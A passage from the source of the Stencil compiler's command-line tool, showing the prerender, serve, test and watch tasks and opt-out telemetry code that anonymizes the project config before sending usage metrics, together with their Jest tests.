console.log(`${logger.cyan(' jQuery:')} ${versions.jquery}`); console.log(`${logger.cyan(' Terser:')} ${versions.terser}`); console.log(``); }; ================================================ FILE: src/cli/task-prerender.ts ================================================ import { catchError } from '@utils'; import type { BuildResultsComponentGraph, Diagnostic, ValidatedConfig } from '../declarations'; import type { CoreCompiler } from './load-compiler'; import { startupCompilerLog } from './logs'; export const taskPrerender = async (coreCompiler: CoreCompiler, config: ValidatedConfig) => { startupCompilerLog(coreCompiler, config); const hydrateAppFilePath = config.flags.unknownArgs[0]; if (typeof hydrateAppFilePath !== 'string') { config.logger.error(`Missing hydrate app script path`); return config.sys.exit(1); } const srcIndexHtmlPath = config.srcIndexHtml; const diagnostics = await runPrerenderTask(coreCompiler, config, hydrateAppFilePath, undefined, srcIndexHtmlPath); config.logger.printDiagnostics(diagnostics); if (diagnostics.some((d) => d.level === 'error')) { return config.sys.exit(1); } }; export const runPrerenderTask = async ( coreCompiler: CoreCompiler, config: ValidatedConfig, hydrateAppFilePath?: string, componentGraph?: BuildResultsComponentGraph, srcIndexHtmlPath?: string, ) => { const diagnostics: Diagnostic[] = []; try { const prerenderer = await coreCompiler.createPrerenderer(config); const results = await prerenderer.start({ hydrateAppFilePath, componentGraph, srcIndexHtmlPath, }); diagnostics.push(...results.diagnostics); } catch (e: any) { catchError(diagnostics, e); } return diagnostics; }; ================================================ FILE: src/cli/task-serve.ts ================================================ import { isString } from '@utils'; import type { ValidatedConfig } from '../declarations'; export const taskServe = async (config: ValidatedConfig) => { config.suppressLogs = true; config.flags.serve = true; config.devServer.openBrowser = !!config.flags.open; config.devServer.reloadStrategy = null; config.devServer.initialLoadUrl = '/'; config.devServer.websocket = false; config.maxConcurrentWorkers = 1; config.devServer.root = isString(config.flags.root) ? config.flags.root : config.sys.getCurrentDirectory(); if (!config.sys.getDevServerExecutingPath || !config.sys.dynamicImport || !config.sys.onProcessInterrupt) { throw new Error( `Environment doesn't provide required functions: getDevServerExecutingPath, dynamicImport, onProcessInterrupt`, ); } const devServerPath = config.sys.getDevServerExecutingPath(); const { start }: typeof import('@stencil/core/dev-server') = await config.sys.dynamicImport(devServerPath); const devServer = await start(config.devServer, config.logger); console.log(`${config.logger.cyan(' Root:')} ${devServer.root}`); console.log(`${config.logger.cyan(' Address:')} ${devServer.address}`); console.log(`${config.logger.cyan(' Port:')} ${devServer.port}`); console.log(`${config.logger.cyan(' Server:')} ${devServer.browserUrl}`); console.log(``); config.sys.onProcessInterrupt(() => { if (devServer) { config.logger.debug(`dev server close: ${devServer.browserUrl}`); devServer.close(); } }); }; ================================================ FILE: src/cli/task-telemetry.ts ================================================ import type * as d from '../declarations'; import { ConfigFlags } from './config-flags'; import { checkTelemetry, disableTelemetry, enableTelemetry } from './telemetry/telemetry'; /** * Entrypoint for the Telemetry task * @param flags configuration flags provided to Stencil when a task was called (either this task or a task that invokes * telemetry) * @param sys the abstraction for interfacing with the operating system * @param logger a logging implementation to log the results out to the user */ export const taskTelemetry = async (flags: ConfigFlags, sys: d.CompilerSystem, logger: d.Logger): Promise => { const prompt = logger.dim(sys.details?.platform === 'windows' ? '>' : '$'); const isEnabling = flags.args.includes('on'); const isDisabling = flags.args.includes('off'); const INFORMATION = `Opt in or out of telemetry. Information about the data we collect is available on our website: ${logger.bold( 'https://stenciljs.com/telemetry', )}`; const THANK_YOU = `Thank you for helping to make Stencil better! 💖`; const ENABLED_MESSAGE = `${logger.green('Enabled')}. ${THANK_YOU}\n\n`; const DISABLED_MESSAGE = `${logger.red('Disabled')}\n\n`; const hasTelemetry = await checkTelemetry(sys); if (isEnabling) { const result = await enableTelemetry(sys); result ? console.log(`\n ${logger.bold('Telemetry is now ') + ENABLED_MESSAGE}`) : console.log(`Something went wrong when enabling Telemetry.`); return; } if (isDisabling) { const result = await disableTelemetry(sys); result ? console.log(`\n ${logger.bold('Telemetry is now ') + DISABLED_MESSAGE}`) : console.log(`Something went wrong when disabling Telemetry.`); return; } console.log(` ${logger.bold('Telemetry:')} ${logger.dim(INFORMATION)}`); console.log(`\n ${logger.bold('Status')}: ${hasTelemetry ? ENABLED_MESSAGE : DISABLED_MESSAGE}`); console.log(` ${prompt} ${logger.green('stencil telemetry [off|on]')} ${logger.cyan('off')} ${logger.dim('.............')} Disable sharing anonymous usage data ${logger.cyan('on')} ${logger.dim('..............')} Enable sharing anonymous usage data `); }; ================================================ FILE: src/cli/task-test.ts ================================================ import type { TestingRunOptions, ValidatedConfig } from '../declarations'; /** * Entrypoint for any Stencil tests * @param config a validated Stencil configuration entity * @returns a void promise */ export const taskTest = async (config: ValidatedConfig): Promise => { config.logger.warn( config.logger.yellow( `[DEPRECATION] Stencil's integrated testing (the 'test' task, --spec and --e2e flags) is deprecated and will be removed in Stencil v5. ` + `Migrate spec tests to @stencil/vitest (https://github.com/stenciljs/vitest) and ` + `e2e / browser tests to either @stencil/vitest (https://github.com/stenciljs/vitest) or ` + `@stencil/playwright (https://github.com/stenciljs/playwright). ` + `See https://github.com/stenciljs/core/issues/6584 for full details.`, ), ); config.buildDocs = false; const testingRunOpts: TestingRunOptions = { e2e: !!config.flags.e2e, screenshot: !!config.flags.screenshot, spec: !!config.flags.spec, updateScreenshot: !!config.flags.updateScreenshot, }; // always ensure we have jest modules installed const ensureModuleIds = ['@types/jest', 'jest', 'jest-cli']; if (testingRunOpts.e2e) { // if it's an e2e test, also make sure we're got // puppeteer modules installed and if browserExecutablePath is provided don't download Chromium use only puppeteer-core instead const puppeteer = config.testing.browserExecutablePath ? 'puppeteer-core' : 'puppeteer'; ensureModuleIds.push(puppeteer); if (testingRunOpts.screenshot) { // ensure we've got pixelmatch for screenshots config.logger.warn( config.logger.yellow( `EXPERIMENTAL: screenshot visual diff testing is currently under heavy development and has not reached a stable status. However, any assistance testing would be appreciated.`, ), ); } } // ensure we've got the required modules installed const diagnostics = await config.sys.lazyRequire?.ensure(config.rootDir, ensureModuleIds); if (diagnostics && diagnostics.length > 0) { config.logger.printDiagnostics(diagnostics); return config.sys.exit(1); } try { /** * We dynamically import the testing submodule here in order for Stencil's lazy module checking to work properly. * * Prior to this call, we create a collection of string-based node module names and ensure that they're installed & * on disk. The testing submodule includes `jest` (amongst other) testing libraries in its dependency chain. We need * to run the lazy module check _before_ we include `jest` et al. in our dependency chain otherwise, the lazy module * checking would fail to run properly (because we'd import `jest`, which wouldn't exist, before we even checked if * it was installed). */ const { createTesting } = await import('@stencil/core/testing'); const testing = await createTesting(config); const passed = await testing.run(testingRunOpts); await testing.destroy(); if (!passed) { return config.sys.exit(1); } } catch (e) { config.logger.error(e); return config.sys.exit(1); } }; ================================================ FILE: src/cli/task-watch.ts ================================================ import type { DevServer, ValidatedConfig } from '../declarations'; import { printCheckVersionResults, startCheckVersion } from './check-version'; import type { CoreCompiler } from './load-compiler'; import { startupCompilerLog } from './logs'; export const taskWatch = async (coreCompiler: CoreCompiler, config: ValidatedConfig) => { let devServer: DevServer | null = null; let exitCode = 0; try { startupCompilerLog(coreCompiler, config); const versionChecker = startCheckVersion(config, coreCompiler.version); const compiler = await coreCompiler.createCompiler(config); const watcher = await compiler.createWatcher(); if (!config.sys.getDevServerExecutingPath || !config.sys.dynamicImport || !config.sys.onProcessInterrupt) { throw new Error( `Environment doesn't provide required functions: getDevServerExecutingPath, dynamicImport, onProcessInterrupt`, ); } if (config.flags.serve) { const devServerPath = config.sys.getDevServerExecutingPath(); const { start }: typeof import('@stencil/core/dev-server') = await config.sys.dynamicImport(devServerPath); devServer = await start(config.devServer, config.logger, watcher); } config.sys.onProcessInterrupt(() => { config.logger.debug(`close watch`); compiler && compiler.destroy(); }); const rmVersionCheckerLog = watcher.on('buildFinish', async () => { // log the version check one time rmVersionCheckerLog(); printCheckVersionResults(versionChecker); }); if (devServer) { const rmDevServerLog = watcher.on('buildFinish', () => { // log the dev server url one time rmDevServerLog(); const url = devServer?.browserUrl ?? 'UNKNOWN URL'; config.logger.info(`${config.logger.cyan(url)}\n`); }); } const closeResults = await watcher.start(); if (closeResults.exitCode > 0) { exitCode = closeResults.exitCode; } } catch (e) { exitCode = 1; config.logger.error(e); } if (devServer) { await devServer.close(); } if (exitCode > 0) { return config.sys.exit(exitCode); } }; ================================================ FILE: src/cli/telemetry/helpers.ts ================================================ import type * as d from '../../declarations'; import { ConfigFlags } from '../config-flags'; export const tryFn = async Promise, R>(fn: T, ...args: any[]): Promise => { try { return await fn(...args); } catch { // ignore } return null; }; export const isInteractive = (sys: d.CompilerSystem, flags: ConfigFlags, object?: d.TerminalInfo): boolean => { const terminalInfo = object || Object.freeze({ tty: sys.isTTY() ? true : false, ci: ['CI', 'BUILD_ID', 'BUILD_NUMBER', 'BITBUCKET_COMMIT', 'CODEBUILD_BUILD_ARN'].filter( (v) => !!sys.getEnvironmentVar?.(v), ).length > 0 || !!flags.ci, }); return terminalInfo.tty && !terminalInfo.ci; }; export const UUID_REGEX = new RegExp(/^[0-9A-F]{8}-[0-9A-F]{4}-4[0-9A-F]{3}-[89AB][0-9A-F]{3}-[0-9A-F]{12}$/i); // Plucked from https://github.com/ionic-team/capacitor/blob/b893a57aaaf3a16e13db9c33037a12f1a5ac92e0/cli/src/util/uuid.ts export function uuidv4(): string { return 'xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx'.replace(/[xy]/g, (c) => { const r = (Math.random() * 16) | 0; const v = c == 'x' ? r : (r & 0x3) | 0x8; return v.toString(16); }); } /** * Reads and parses a JSON file from the given `path` * @param sys The system where the command is invoked * @param path the path on the file system to read and parse * @returns the parsed JSON */ export async function readJson(sys: d.CompilerSystem, path: string): Promise { const file = await sys.readFile(path); return !!file && JSON.parse(file); } /** * Does the command have the debug flag? * @param flags The configuration flags passed into the Stencil command * @returns true if --debug has been passed, otherwise false */ export function hasDebug(flags: ConfigFlags): boolean { return !!flags.debug; } /** * Does the command have the verbose and debug flags? * @param flags The configuration flags passed into the Stencil command * @returns true if both --debug and --verbose have been passed, otherwise false */ export function hasVerbose(flags: ConfigFlags): boolean { return !!flags.verbose && hasDebug(flags); } ================================================ FILE: src/cli/telemetry/shouldTrack.ts ================================================ import * as d from '../../declarations'; import { isInteractive } from './helpers'; import { checkTelemetry } from './telemetry'; /** * Used to determine if tracking should occur. * @param config The config passed into the Stencil command * @param sys The system where the command is invoked * @param ci whether or not the process is running in a Continuous Integration (CI) environment * @returns true if telemetry should be sent, false otherwise */ export async function shouldTrack(config: d.ValidatedConfig, sys: d.CompilerSystem, ci?: boolean) { return !ci && isInteractive(sys, config.flags) && (await checkTelemetry(sys)); } ================================================ FILE: src/cli/telemetry/telemetry.ts ================================================ import { isOutputTargetHydrate, WWW } from '@utils'; import type * as d from '../../declarations'; import { readConfig, updateConfig, writeConfig } from '../ionic-config'; import { CoreCompiler } from '../load-compiler'; import { hasDebug, hasVerbose, readJson, tryFn, uuidv4 } from './helpers'; import { shouldTrack } from './shouldTrack'; /** * Used to within taskBuild to provide the component_count property. * * @param sys The system where the command is invoked * @param config The config passed into the Stencil command * @param coreCompiler The compiler used to do builds * @param result The results of a compiler build. */ export async function telemetryBuildFinishedAction( sys: d.CompilerSystem, config: d.ValidatedConfig, coreCompiler: CoreCompiler, result: d.CompilerBuildResults, ) { const tracking = await shouldTrack(config, sys, !!config.flags.ci); if (!tracking) { return; } const component_count = result.componentGraph ? Object.keys(result.componentGraph).length : undefined; const data = await prepareData(coreCompiler, config, sys, result.duration, component_count); await sendMetric(sys, config, 'stencil_cli_command', data); config.logger.debug(`${config.logger.blue('Telemetry')}: ${config.logger.gray(JSON.stringify(data))}`); } /** * A function to wrap a compiler task function around. Will send telemetry if, and only if, the machine allows. * * @param sys The system where the command is invoked * @param config The config passed into the Stencil command * @param coreCompiler The compiler used to do builds * @param action A Promise-based function to call in order to get the duration of any given command. * @returns void */ export async function telemetryAction( sys: d.CompilerSystem, config: d.ValidatedConfig, coreCompiler: CoreCompiler, action?: d.TelemetryCallback, ) { const tracking = await shouldTrack(config, sys, !!config.flags.ci); let duration = undefined; let error: any; if (action) { const start = new Date(); try { await action(); } catch (e) { error = e; } const end = new Date(); duration = end.getTime() - start.getTime(); } // We'll get componentCount details inside the taskBuild, so let's not send two messages. if (!tracking || (config.flags.task == 'build' && !config.flags.args.includes('--watch'))) { return; } const data = await prepareData(coreCompiler, config, sys, duration); await sendMetric(sys, config, 'stencil_cli_command', data); config.logger.debug(`${config.logger.blue('Telemetry')}: ${config.logger.gray(JSON.stringify(data))}`); if (error) { throw error; } } /** * Helper function to determine if a Stencil configuration builds an application. * * This function is a rough approximation whether an application is generated as a part of a Stencil build, based on * contents of the project's `stencil.config.ts` file. * * @param config the configuration used by the Stencil project * @returns true if we believe the project generates an application, false otherwise */ export function hasAppTarget(config: d.ValidatedConfig): boolean { return config.outputTargets.some( (target) => target.type === WWW && (!!target.serviceWorker || (!!target.baseUrl && target.baseUrl !== '/')), ); } export function isUsingYarn(sys: d.CompilerSystem) { return sys.getEnvironmentVar?.('npm_execpath')?.includes('yarn') || false; } /** * Build a list of the different types of output targets used in a Stencil configuration. * * Duplicate entries will not be returned from the list * * @param config the configuration used by the Stencil project * @returns a unique list of output target types found in the Stencil configuration */ export function getActiveTargets(config: d.ValidatedConfig): string[] { const result = config.outputTargets.map((t) => t.type); return Array.from(new Set(result)); } /** * Prepare data for telemetry * * @param coreCompiler the core compiler * @param config the current Stencil config * @param sys the compiler system instance in use * @param duration_ms the duration of the action being tracked * @param component_count the number of components being built (optional) * @returns a Promise wrapping data for the telemetry endpoint */ export const prepareData = async ( coreCompiler: CoreCompiler, config: d.ValidatedConfig, sys: d.CompilerSystem, duration_ms: number | undefined, component_count: number | undefined = undefined, ): Promise => { const { typescript, rollup } = coreCompiler.versions || { typescript: 'unknown', rollup: 'unknown' }; const { packages, packagesNoVersions } = await getInstalledPackages(sys, config); const targets = getActiveTargets(config); const yarn = isUsingYarn(sys); const stencil = coreCompiler.version || 'unknown'; const system = `${sys.name} ${sys.version}`; const os_name = sys.details?.platform; const os_version = sys.details?.release; const cpu_model = sys.details?.cpuModel; const build = coreCompiler.buildId || 'unknown'; const has_app_pwa_config = hasAppTarget(config); const anonymizedConfig = anonymizeConfigForTelemetry(config); return { arguments: config.flags.args, build, component_count, config: anonymizedConfig, cpu_model, duration_ms, has_app_pwa_config, os_name, os_version, packages, packages_no_versions: packagesNoVersions, rollup, stencil, system, system_major: getMajorVersion(system), targets, task: config.flags.task, typescript, yarn, }; }; // Setting a key type to `never` excludes it from a mapped type, so we // can get only keys which map to a string value by excluding all keys `K` // where `d.Config[K]` does not extend `string`. type ConfigStringKeys = keyof { [K in keyof d.Config as Required[K] extends string ? K : never]: d.Config[K]; }; // props in output targets for which we retain their original values when // preparing a config for telemetry // // we omit the values of all other fields on output targets. const OUTPUT_TARGET_KEYS_TO_KEEP: ReadonlyArray = ['type']; // top-level config props that we anonymize for telemetry const CONFIG_PROPS_TO_ANONYMIZE: ReadonlyArray = [ 'rootDir', 'fsNamespace', 'packageJsonFilePath', 'namespace', 'srcDir', 'srcIndexHtml', 'buildLogFilePath', 'cacheDir', 'configPath', 'tsconfig', ]; // Props we delete entirely from the config for telemetry // // TODO(STENCIL-469): Investigate improving anonymization for tsCompilerOptions and devServer const CONFIG_PROPS_TO_DELETE: ReadonlyArray = [ 'commonjs', 'devServer', 'env', 'logger', 'rollupConfig', 'sys', 'testing', 'tsCompilerOptions', ]; /** * Anonymize the config for telemetry, replacing potentially revealing config props * with a placeholder string if they are present (this lets us still track how frequently * these config options are being used) * * @param config the config to anonymize * @returns an anonymized copy of the same config */ export const anonymizeConfigForTelemetry = (config: d.ValidatedConfig): d.Config => { const anonymizedConfig: d.Config = { ...config }; for (const prop of CONFIG_PROPS_TO_ANONYMIZE) { if (anonymizedConfig[prop] !== undefined) { anonymizedConfig[prop] = 'omitted'; } } anonymizedConfig.outputTargets = config.outputTargets.map((target) => { // Anonymize the outputTargets on our configuration, taking advantage of the // optional 2nd argument to `JSON.stringify`. If anything is not a string // we retain it so that any nested properties are handled, else we check // whether it's in our 'keep' list to decide whether to keep it or replace it // with `"omitted"`. const anonymizedOT = JSON.parse( JSON.stringify(target, (key, value) => { if (!(typeof value === 'string')) { return value; } if (OUTPUT_TARGET_KEYS_TO_KEEP.includes(key)) { return value; } return 'omitted'; }), ); // this prop has to be handled separately because it is an array // so the replace function above will be called with all of its // members, giving us `["omitted", "omitted", ...]`. // // Instead, we check for its presence and manually copy over. if (isOutputTargetHydrate(target) && target.external) { anonymizedOT['external'] = target.external.concat(); } return anonymizedOT; }); // TODO(STENCIL-469): Investigate improving anonymization for tsCompilerOptions and devServer for (const prop of CONFIG_PROPS_TO_DELETE) { delete anonymizedConfig[prop]; } return anonymizedConfig; }; /** * Reads package-lock.json, yarn.lock, and package.json files in order to cross-reference * the dependencies and devDependencies properties. Pulls up the current installed version * of each package under the @stencil, @ionic, and @capacitor scopes. * * @param sys the system instance where telemetry is invoked * @param config the Stencil configuration associated with the current task that triggered telemetry * @returns an object listing all dev and production dependencies under the aforementioned scopes */ async function getInstalledPackages( sys: d.CompilerSystem, config: d.ValidatedConfig, ): Promise<{ packages: string[]; packagesNoVersions: string[] }> { let packages: string[] = []; let packagesNoVersions: string[] = []; const yarn = isUsingYarn(sys); try { // Read package.json and package-lock.json const appRootDir = sys.getCurrentDirectory(); const packageJson: d.PackageJsonData | null = await tryFn( readJson, sys, sys.resolvePath(appRootDir + '/package.json'), ); // They don't have a package.json for some reason? Eject button. if (!packageJson) { return { packages, packagesNoVersions }; } const rawPackages: [string, string][] = Object.entries({ ...packageJson.devDependencies, ...packageJson.dependencies, }); // Collect packages only in the stencil, ionic, or capacitor org's: // https://www.npmjs.com/org/stencil const ionicPackages = rawPackages.filter( ([k]) => k.startsWith('@stencil/') || k.startsWith('@ionic/') || k.startsWith('@capacitor/'), ); try { packages = yarn ? await yarnPackages(sys, ionicPackages) : await npmPackages(sys, ionicPackages); } catch (e) { packages = ionicPackages.map(([k, v]) => `${k}@${v.replace('^', '')}`); } packagesNoVersions = ionicPackages.map(([k]) => `${k}`); return { packages, packagesNoVersions }; } catch (err) { hasDebug(config.flags) && console.error(err); return { packages, packagesNoVersions }; } } /** * Visits the npm lock file to find the exact versions that are installed * @param sys The system where the command is invoked * @param ionicPackages a list of the found packages matching `@stencil`, `@capacitor`, or `@ionic` from the package.json file. * @returns an array of strings of all the packages and their versions. */ async function npmPackages(sys: d.CompilerSystem, ionicPackages: [string, string][]): Promise { const appRootDir = sys.getCurrentDirectory(); const packageLockJson: any = await tryFn(readJson, sys, sys.resolvePath(appRootDir + '/package-lock.json')); return ionicPackages.map(([k, v]) => { let version = packageLockJson?.dependencies[k]?.version ?? packageLockJson?.devDependencies[k]?.version ?? v; version = version.includes('file:') ? sanitizeDeclaredVersion(v) : version; return `${k}@${version}`; }); } /** * Visits the yarn lock file to find the exact versions that are installed * @param sys The system where the command is invoked * @param ionicPackages a list of the found packages matching `@stencil`, `@capacitor`, or `@ionic` from the package.json file. * @returns an array of strings of all the packages and their versions. */ async function yarnPackages(sys: d.CompilerSystem, ionicPackages: [string, string][]): Promise { const appRootDir = sys.getCurrentDirectory(); const yarnLock = sys.readFileSync(sys.resolvePath(appRootDir + '/yarn.lock')); const yarnLockYml = sys.parseYarnLockFile?.(yarnLock); return ionicPackages.map(([k, v]) => { const identifiedVersion = `${k}@${v}`; let version = yarnLockYml?.object[identifiedVersion]?.version; version = version && version.includes('undefined') ? sanitizeDeclaredVersion(identifiedVersion) : version; return `${k}@${version}`; }); } /** * This function is used for fallback purposes, where an npm or yarn lock file doesn't exist in the consumers directory. * This will strip away '*', '^' and '~' from the declared package versions in a package.json. * @param version the raw semver pattern identifier version string * @returns a cleaned up representation without any qualifiers */ function sanitizeDeclaredVersion(version: string): string { return version.replace(/[*^~]/g, ''); } /** * If telemetry is enabled, send a metric to an external data store * * @param sys the system instance where telemetry is invoked * @param config the Stencil configuration associated with the current task that triggered telemetry * @param name the name of a trackable metric. Note this name is not necessarily a scalar value to track, like * "Stencil Version". For example, "stencil_cli_command" is a name that is used to track all CLI command information. * @param value the data to send to the external data store under the provided name argument */ export async function sendMetric( sys: d.CompilerSystem, config: d.ValidatedConfig, name: string, value: d.TrackableData, ): Promise { const session_id = await getTelemetryToken(sys); const message: d.Metric = { name, timestamp: new Date().toISOString(), source: 'stencil_cli', value, session_id, }; await sendTelemetry(sys, config, message); } /** * Used to read the config file's tokens.telemetry property. * * @param sys The system where the command is invoked * @returns string */ async function getTelemetryToken(sys: d.CompilerSystem) { const config = await readConfig(sys); if (config['tokens.telemetry'] === undefined) { config['tokens.telemetry'] = uuidv4(); await writeConfig(sys, config); } return config['tokens.telemetry']; } /** * Issues a request to the telemetry server. * @param sys The system where the command is invoked * @param config The config passed into the Stencil command * @param data Data to be tracked */ async function sendTelemetry(sys: d.CompilerSystem, config: d.ValidatedConfig, data: d.Metric): Promise { try { const now = new Date().toISOString(); const body = { metrics: [data], sent_at: now, }; if (!sys.fetch) { throw new Error('No fetch implementation available'); } // This request is only made if telemetry is on. const response = await sys.fetch('https://api.ionicjs.com/events/metrics', { method: 'POST', headers: { 'Content-Type': 'application/json', }, body: JSON.stringify(body), }); hasVerbose(config.flags) && console.debug('\nSent %O metric to events service (status: %O)', data.name, response.status, '\n'); if (response.status !== 204) { hasVerbose(config.flags) && console.debug('\nBad response from events service. Request body: %O', response.body.toString(), '\n'); } } catch (e) { hasVerbose(config.flags) && console.debug('Telemetry request failed:', e); } } /** * Checks if telemetry is enabled on this machine * @param sys The system where the command is invoked * @returns true if telemetry is enabled, false otherwise */ export async function checkTelemetry(sys: d.CompilerSystem): Promise { const config = await readConfig(sys); if (config['telemetry.stencil'] === undefined) { config['telemetry.stencil'] = true; await writeConfig(sys, config); } return config['telemetry.stencil']; } /** * Writes to the config file, enabling telemetry for this machine. * @param sys The system where the command is invoked * @returns true if writing the file was successful, false otherwise */ export async function enableTelemetry(sys: d.CompilerSystem): Promise { return await updateConfig(sys, { 'telemetry.stencil': true }); } /** * Writes to the config file, disabling telemetry for this machine. * @param sys The system where the command is invoked * @returns true if writing the file was successful, false otherwise */ export async function disableTelemetry(sys: d.CompilerSystem): Promise { return await updateConfig(sys, { 'telemetry.stencil': false }); } /** * Takes in a semver string in order to return the major version. * @param version The fully qualified semver version * @returns a string of the major version */ function getMajorVersion(version: string): string { const parts = version.split('.'); return parts[0]; } ================================================ FILE: src/cli/telemetry/test/helpers.spec.ts ================================================ import { createSystem } from '../../../compiler/sys/stencil-sys'; import { ConfigFlags, createConfigFlags } from '../../config-flags'; import { hasDebug, hasVerbose, isInteractive, tryFn, uuidv4 } from '../helpers'; describe('hasDebug', () => { it('returns true when the "debug" flag is true', () => { const flags = createConfigFlags({ debug: true, }); expect(hasDebug(flags)).toBe(true); }); it('returns false when the "debug" flag is false', () => { const flags = createConfigFlags({ debug: false, }); expect(hasDebug(flags)).toBe(false); }); it('returns false when a flag is not passed', () => { const flags = createConfigFlags({}); expect(hasDebug(flags)).toBe(false); }); }); describe('hasVerbose', () => { it.each>([ { debug: true, verbose: false }, { debug: false, verbose: true }, { debug: false, verbose: false }, ])('returns false when debug=$debug and verbose=$verbose', (flagOverrides) => { const flags = createConfigFlags(flagOverrides); expect(hasVerbose(flags)).toBe(false); }); it('returns true when debug=true and verbose=true', () => { const flags = createConfigFlags({ debug: true, verbose: true, }); expect(hasVerbose(flags)).toBe(true); }); }); describe('uuidv4', () => { it('outputs a UUID', () => { const pattern = new RegExp(/^[0-9A-F]{8}-[0-9A-F]{4}-4[0-9A-F]{3}-[89AB][0-9A-F]{3}-[0-9A-F]{12}$/i); const uuid = uuidv4(); expect(!!uuid.match(pattern)).toBe(true); }); }); describe('isInteractive', () => { const sys = createSystem(); it('returns false by default', () => { const result = isInteractive(sys, createConfigFlags({ ci: false }), { ci: false, tty: false }); expect(result).toBe(false); }); it('returns false when tty is false', () => { const result = isInteractive(sys, createConfigFlags({ ci: true }), { ci: true, tty: false }); expect(result).toBe(false); }); it('returns false when ci is true', () => { const result = isInteractive(sys, createConfigFlags({ ci: true }), { ci: true, tty: true }); expect(result).toBe(false); }); it('returns true when tty is true and ci is false', () => { const result = isInteractive(sys, createConfigFlags({ ci: false }), { ci: false, tty: true }); expect(result).toBe(true); }); }); describe('tryFn', () => { it('handles failures correctly', async () => { const result = await tryFn(async () => { throw new Error('Uh oh!'); }); expect(result).toBe(null); }); it('handles success correctly', async () => { const result = await tryFn(async () => { return true; }); expect(result).toBe(true); }); it('handles returning false correctly', async () => { const result = await tryFn(async () => { return false; }); expect(result).toBe(false); }); }); ================================================ FILE: src/cli/telemetry/test/telemetry.spec.ts ================================================ import * as coreCompiler from '@stencil/core/compiler'; import { mockValidatedConfig } from '@stencil/core/testing'; import { DIST, DIST_CUSTOM_ELEMENTS, DIST_HYDRATE_SCRIPT, WWW } from '@utils'; import { createConfigFlags } from '../../../cli/config-flags'; import { createSystem } from '../../../compiler/sys/stencil-sys'; import type * as d from '../../../declarations'; import * as shouldTrack from '../shouldTrack'; import * as telemetry from '../telemetry'; import { anonymizeConfigForTelemetry } from '../telemetry'; describe('telemetryBuildFinishedAction', () => { let config: d.ValidatedConfig; let sys: d.CompilerSystem; beforeEach(() => { sys = createSystem(); config = mockValidatedConfig({ flags: createConfigFlags({ task: 'build' }), outputTargets: [], sys, }); }); it('issues a network request when complete', async () => { const spyShouldTrack = jest.spyOn(shouldTrack, 'shouldTrack'); spyShouldTrack.mockReturnValue( new Promise((resolve) => { resolve(true); }), ); const results = { componentGraph: {}, duration: 100, } as d.CompilerBuildResults; await telemetry.telemetryBuildFinishedAction(sys, config, coreCompiler, results); expect(spyShouldTrack).toHaveBeenCalled(); spyShouldTrack.mockRestore(); }); }); describe('telemetryAction', () => { let config: d.ValidatedConfig; let sys: d.CompilerSystem; beforeEach(() => { sys = createSystem(); config = mockValidatedConfig({ flags: createConfigFlags({ task: 'build' }), outputTargets: [], sys, }); }); it('issues a network request when no async function is passed', async () => { const spyShouldTrack = jest.spyOn(shouldTrack, 'shouldTrack'); spyShouldTrack.mockReturnValue( new Promise((resolve) => { resolve(true); }), ); await telemetry.telemetryAction(sys, config, coreCompiler, () => {}); expect(spyShouldTrack).toHaveBeenCalled(); spyShouldTrack.mockRestore(); }); it('issues a network request when passed async function is complete', async () => { const spyShouldTrack = jest.spyOn(shouldTrack, 'shouldTrack'); spyShouldTrack.mockReturnValue( new Promise((resolve) => { resolve(true); }), ); await telemetry.telemetryAction(sys, config, coreCompiler, async () => { new Promise((resolve) => { setTimeout(() => { resolve(true); }, 1000); }); }); expect(spyShouldTrack).toHaveBeenCalled(); spyShouldTrack.mockRestore(); }); }); describe('checkTelemetry', () => { const sys = createSystem(); it('will read and write from a file, returning the correct status', async () => { await telemetry.enableTelemetry(sys); expect(await telemetry.checkTelemetry(sys)).toBe(true); await telemetry.disableTelemetry(sys); expect(await telemetry.checkTelemetry(sys)).toBe(false); await telemetry.enableTelemetry(sys); expect(await telemetry.checkTelemetry(sys)).toBe(true); }); }); describe('hasAppTarget()', () => { let config: d.ValidatedConfig; let sys: d.CompilerSystem; beforeEach(() => { sys = createSystem(); config = mockValidatedConfig({ sys }); }); it("returns 'false' when `outputTargets` is empty", () => { config.outputTargets = []; expect(telemetry.hasAppTarget(config)).toBe(false); }); it("returns 'false' when `outputTargets` contains `www` with no `baseUrl` and no service worker", () => { config.outputTargets = [{ type: WWW }]; expect(telemetry.hasAppTarget(config)).toBe(false); }); it("returns 'false' when `outputTargets` contains `www` with '/' baseUrl value", () => { config.outputTargets = [{ type: WWW, baseUrl: '/' }]; expect(telemetry.hasAppTarget(config)).toBe(false); }); it("returns 'true' when `outputTargets` contains `www` with a service worker", () => { config.outputTargets = [{ type: WWW, serviceWorker: { swDest: './tmp' } }]; expect(telemetry.hasAppTarget(config)).toBe(true); }); it("returns 'true' when `outputTargets` contains `www` with baseUrl", () => { config.outputTargets = [{ type: WWW, baseUrl: 'https://example.com' }]; expect(telemetry.hasAppTarget(config)).toBe(true); }); it("returns 'true' when `outputTargets` contains `www` with serviceWorker and baseUrl", () => { config.outputTargets = [{ type: WWW, baseUrl: 'https://example.com', serviceWorker: { swDest: './tmp' } }]; expect(telemetry.hasAppTarget(config)).toBe(true); }); }); describe('prepareData', () => { let config: d.ValidatedConfig; let sys: d.CompilerSystem; beforeEach(() => { config = mockValidatedConfig(); sys = config.sys; // set static name + versions, otherwise tests will pull in the dev build's data (which changes per build) sys.name = 'in-memory'; sys.version = '__VERSION:STENCIL__'; }); it('prepares an object to send to ionic', async () => { const data = await telemetry.prepareData(coreCompiler, config, sys, 1000); expect(data).toEqual({ arguments: [], build: coreCompiler.buildId, component_count: undefined, // the configuration generation is tested elsewhere, just verify we're sending something under this flag config: expect.any(Object), cpu_model: '', duration_ms: 1000, has_app_pwa_config: false, os_name: '', os_version: '', packages: [], packages_no_versions: [], rollup: coreCompiler.versions.rollup, stencil: coreCompiler.versions.stencil, system: 'in-memory __VERSION:STENCIL__', system_major: 'in-memory __VERSION:STENCIL__', targets: [], task: null, typescript: coreCompiler.versions.typescript, yarn: false, }); }); describe('has_app_pwa_config property', () => { it('sets `has_app_pwa_config` to true when there is a service worker', async () => { const config = mockValidatedConfig({ outputTargets: [{ type: 'www', baseUrl: 'https://example.com' }], }); const data = await telemetry.prepareData(coreCompiler, config, sys, 1000); expect(data.has_app_pwa_config).toBe(true); }); it("sets `has_app_pwa_config` to true for a non '/' baseUrl", async () => { const config = mockValidatedConfig({ outputTargets: [{ type: 'www', serviceWorker: { swDest: './tmp' } }], }); const data = await telemetry.prepareData(coreCompiler, config, sys, 1000); expect(data.has_app_pwa_config).toBe(true); }); 